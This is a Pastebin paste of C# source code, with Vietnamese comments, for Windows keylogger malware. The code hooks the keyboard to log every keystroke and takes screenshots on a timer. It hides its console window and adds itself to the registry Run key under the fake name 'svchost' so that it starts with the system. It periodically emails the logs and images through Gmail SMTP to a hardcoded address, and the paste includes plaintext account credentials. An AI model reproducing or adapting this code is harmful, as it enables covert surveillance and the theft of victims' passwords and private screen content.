Advertisement
Guest User

Untitled

a guest
Jun 13th, 2018
184
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.40 KB | None | 0 0
  1. using Microsoft.Win32;
  2. using System;
  3. using System.Collections.Generic;
  4. using System.Diagnostics;
  5. using System.Drawing;
  6. using System.Drawing.Imaging;
  7. using System.IO;
  8. using System.Linq;
  9. using System.Net.Mail;
  10. using System.Runtime.InteropServices;
  11. using System.Text;
  12. using System.Threading;
  13. using System.Threading.Tasks;
  14. using System.Windows.Forms;
  15.  
  16.  
  17. namespace Windows_Graphics
  18. {
  19. class Program
  20. {
  21. #region hook key board
  22.  
  23. private const int WH_KEYBOARD_LL = 13;
  24. private const int WM_KEYDOWN = 0x0100;
  25.  
  26. private static LowLevelKeyboardProc _proc = HookCallback;
  27. private static IntPtr _hookID = IntPtr.Zero;
  28.  
  29. private static string logName = "Log_";
  30. private static string logExtendtion = ".txt";
  31.  
  32. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  33. private static extern IntPtr SetWindowsHookEx(int idHook,
  34. LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  35.  
  36. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  37. [return: MarshalAs(UnmanagedType.Bool)]
  38. private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  39.  
  40. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  41. private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  42. IntPtr wParam, IntPtr lParam);
  43.  
  44. [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  45. private static extern IntPtr GetModuleHandle(string lpModuleName);
  46.  
  47. ///
  48. private delegate IntPtr LowLevelKeyboardProc(
  49. int nCode, IntPtr wParam, IntPtr lParam);
  50.  
  51.  
  52. private static IntPtr SetHook(LowLevelKeyboardProc proc)
  53. {
  54. using (Process curProcess = Process.GetCurrentProcess()) //lấy ra các tiến trình đang chạy
  55. {
  56. using (ProcessModule curModule = curProcess.MainModule)
  57. {
  58. return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  59. GetModuleHandle(curModule.ModuleName), 0); //mỗi khi 1 phím nhả ra gọi đến hàm này
  60. }
  61. }
  62. }
  63.  
  64.  
  65. private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
  66. {
  67. if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) //có phím nhấn thì gọi hàm
  68. {
  69. int vkCode = Marshal.ReadInt32(lParam);
  70.  
  71. CheckHotKey(vkCode);
  72. WriteLog(vkCode);
  73. }
  74. return CallNextHookEx(_hookID, nCode, wParam, lParam); //trả phím xong gọi lại
  75. }
  76.  
  77.  
  78. /// Ghi vào file log.txt
  79. static void WriteLog(int vkCode)
  80. {
  81. Console.WriteLine((Keys)vkCode);
  82. string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion; //dựa vào ngày hiện tại đưa ra file log
  83. StreamWriter sw = new StreamWriter(logNameToWrite, true);
  84. sw.Write((Keys)vkCode);
  85. sw.Close();
  86. }
  87.  
  88.  
  89. static void HookKeyboard()
  90. {
  91. _hookID = SetHook(_proc);
  92. Application.Run();
  93. UnhookWindowsHookEx(_hookID);
  94. }
  95.  
  96. static bool isHotKey = false;
  97. static bool isShowing = false;
  98. static Keys preKey;
  99.  
  100. //bật tắt cửa sổ keylog
  101. static void CheckHotKey(int vkCode)
  102. {
  103. if ((preKey == Keys.LControlKey || preKey == Keys.RControlKey) && (Keys)(vkCode) == Keys.K)
  104. isHotKey = true;
  105.  
  106. if (isHotKey) {
  107. if (!isShowing)
  108. DisplayWindow();
  109. else
  110. HideWindow();
  111. isShowing = !isShowing;
  112. }
  113.  
  114. preKey = (Keys)vkCode;
  115. isHotKey = false;
  116. }
  117.  
  118. #endregion
  119.  
  120. #region Capture
  121.  
  122. static string imagePath = "Image_";
  123. static string imageExtendtion = ".png";
  124.  
  125. static int imageCount = 0; //tránh trùng id picture
  126. static int captureTime = 1000; //time chụp mh
  127.  
  128.  
  129. static void CaptureScreen()
  130. {
  131. var bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height,
  132. PixelFormat.Format32bppArgb); //kiểu dữ liệu mặc định
  133.  
  134. var gfxScreenshot = Graphics.FromImage(bmpScreenshot);
  135.  
  136. gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y,
  137. 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
  138.  
  139. //tạo folder
  140. string directoryImage = imagePath + DateTime.Now.ToLongDateString();
  141.  
  142. if (!Directory.Exists(directoryImage)) //kiểm tra folder tồn tại
  143. {
  144. Directory.CreateDirectory(directoryImage);
  145. }
  146. // đường dẫn ảnh
  147. string imageName = string.Format("{0}\\{1}{2}", directoryImage, DateTime.Now.ToLongDateString() + imageCount, imageExtendtion);
  148.  
  149. try{
  150. bmpScreenshot.Save(imageName, ImageFormat.Png);
  151. }
  152. catch{}
  153. imageCount++;
  154. }
  155.  
  156. #endregion
  157.  
  158. #region Timer
  159. static int interval = 1; //khoảng tg
  160.  
  161. static void StartTimer()
  162. {
  163. //tạo luồng mới chạy song song
  164.  
  165. Thread thread = new Thread(() =>
  166. {
  167. while (true)
  168. {
  169. if(interval % captureTime == 0)
  170. CaptureScreen();
  171.  
  172. if(interval % mailTime == 0)
  173. SendMail();
  174.  
  175. interval++;
  176. if (interval >= 1000000) interval = 0;
  177. }
  178. });
  179. thread.IsBackground = true;
  180. thread.Start();
  181. }
  182. #endregion
  183.  
  184. #region Windows
  185. [DllImport("kernel32.dll")]
  186. static extern IntPtr GetConsoleWindow(); //lấy mh console hiện tại của windows
  187.  
  188. [DllImport("user32.dll")]
  189. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  190.  
  191. const int SW_HIDE = 0; //ẩn
  192.  
  193. const int SW_SHOW = 5;//hiện
  194.  
  195. static void HideWindow()
  196. {
  197. IntPtr console = GetConsoleWindow();
  198. ShowWindow(console, SW_HIDE);
  199. }
  200.  
  201. static void DisplayWindow()
  202. {
  203. IntPtr console = GetConsoleWindow();
  204. ShowWindow(console, SW_SHOW);
  205. }
  206. #endregion
  207.  
  208. #region Startup
  209.  
  210. static void StartWithOS()
  211. {
  212. RegistryKey regkey = Registry.CurrentUser.CreateSubKey("Software\\svchost");
  213. RegistryKey regstart = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
  214. string keyvalue = "1";
  215. try
  216. {
  217. regkey.SetValue("Index", keyvalue);
  218. regstart.SetValue("svchost", Application.StartupPath + "\\" + Application.ProductName + ".exe");
  219. regkey.Close();
  220. }
  221. catch (System.Exception ex)
  222. {
  223. }
  224. }
  225. #endregion
  226.  
  227. #region Mail
  228. static int mailTime = 10000;
  229. static void SendMail()
  230. {
  231. try
  232. {
  233. MailMessage mail = new MailMessage();
  234. SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com"); //server gửi gmail
  235.  
  236. mail.From = new MailAddress("email@gmail.com");
  237. mail.To.Add("hnn152151927@gmail.com");
  238. mail.Subject = "Keylogger date: " + DateTime.Now.ToLongDateString();
  239. mail.Body = "Hello World\n";
  240.  
  241. string logFile = logName + DateTime.Now.ToLongDateString() + logExtendtion;
  242.  
  243. //gửi hết nội dung trong file log
  244. if (File.Exists(logFile))
  245. {
  246. StreamReader sr = new StreamReader(logFile);
  247.  
  248. mail.Body += sr.ReadToEnd();
  249.  
  250. sr.Close();
  251. }
  252.  
  253. //đưa hình ảnh lên
  254. string directoryImage = imagePath + DateTime.Now.ToLongDateString();
  255. DirectoryInfo image = new DirectoryInfo(directoryImage);
  256.  
  257. foreach (FileInfo item in image.GetFiles("*.png"))
  258. {
  259. if (File.Exists(directoryImage + "\\" + item.Name))
  260. mail.Attachments.Add(new Attachment(directoryImage + "\\" + item.Name)); //đính kèm mọi file png
  261. }
  262.  
  263. SmtpServer.Port = 587;
  264. SmtpServer.Credentials = new System.Net.NetworkCredential("hnn152151927x@gmail.com", "visaoemkhoc");
  265. SmtpServer.EnableSsl = true;
  266.  
  267. SmtpServer.Send(mail);
  268. Console.WriteLine("Send mail!");
  269.  
  270. }
  271. catch (Exception ex)
  272. {
  273. Console.WriteLine(ex.ToString());
  274. }
  275. }
  276. #endregion
  277.  
  278. static void Main(string[] args)
  279. {
  280. StartWithOS();
  281. HideWindow(); //mới vào ẩn console
  282.  
  283. StartTimer();
  284. HookKeyboard();
  285. }
  286. }
  287. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement